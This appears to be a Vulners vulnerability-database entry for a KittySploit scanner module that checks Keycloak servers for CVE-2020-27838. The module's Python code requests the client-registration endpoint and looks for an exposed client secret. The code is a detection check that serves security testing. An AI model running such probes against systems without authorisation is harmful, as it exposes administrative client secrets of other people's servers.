Lucene search
+L

KeyCloak - Information Exposure Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated information exposure in KeyCloak client registration endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
archlinux
ArchLinux
[ASA-202105-6] keycloak: multiple issues
19 May 202100:00
–archlinux
circl
Circl
CVE-2020-27838
19 Jan 202409:03
–circl
cnnvd
CNNVD
Red Hat Keycloak 授权问题漏洞
11 Dec 202000:00
–cnnvd
cnvd
CNVD
Unspecified vulnerability in Red Hat keycloak (CNVD-2021-19381)
12 Jan 202100:00
–cnvd
cve
CVE
CVE-2020-27838
8 Mar 202121:41
–cve
cvelist
Cvelist
CVE-2020-27838
8 Mar 202121:41
–cvelist
github
Github Security Blog
Keycloak discloses information without authentication
24 May 202217:43
–github
kitploit
Kitploit
CVE-2020-27838
11 Oct 202615:17
–kitploit
mend
Mend
CVE-2020-27838
8 Mar 202121:41
–mend
nuclei
Nuclei
KeyCloak - Information Exposure
16 Oct 202602:05
–nuclei
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A flaw was found in keycloak in versions prior to 13."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'KeyCloak - Information Exposure Detection',
        'description': 'A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'keycloak', 'exposure', 'redhat', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://bugzilla.redhat.com/show_bug.cgi?id=1906797',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-27838',
            'https://github.com/muneebaashiq/MBProjects',
            'https://github.com/j4k0m/godkiller',
        ],
        'cve': 'CVE-2020-27838',
    }

    def run(self):
        r = self.http_request(method="GET", path='/auth/realms/master/clients-registrations/default/security-admin-console', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_any = ('application/json',)
        body_regexes = ('"clientId":\\s*"security-admin-console"', '"secret":',)
        if (any(m in headers for m in header_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="KeyCloak - Information Exposure detected",
                path='/auth/realms/master/clients-registrations/default/security-admin-console',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.5
EPSS0.17943
1